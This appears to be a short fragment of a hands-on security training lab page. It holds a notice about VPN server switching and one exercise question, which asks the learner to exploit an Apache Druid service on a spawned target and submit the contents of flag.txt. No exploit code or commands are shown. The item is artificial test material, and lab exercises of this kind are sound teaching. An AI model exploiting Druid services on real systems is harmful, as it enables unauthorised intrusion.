All VM instances associated with the old VPN Server will be terminated when switching to a new VPN server.
Existing PwnBox instances will automatically switch to the new VPN server.

Questions

Answer the question(s) below to complete this Section and earn cubes!

Target: Click here to spawn the target system!

+ 2 Exploit the Apache Druid service and find the flag.txt file. Submit the contents of this file as the answer.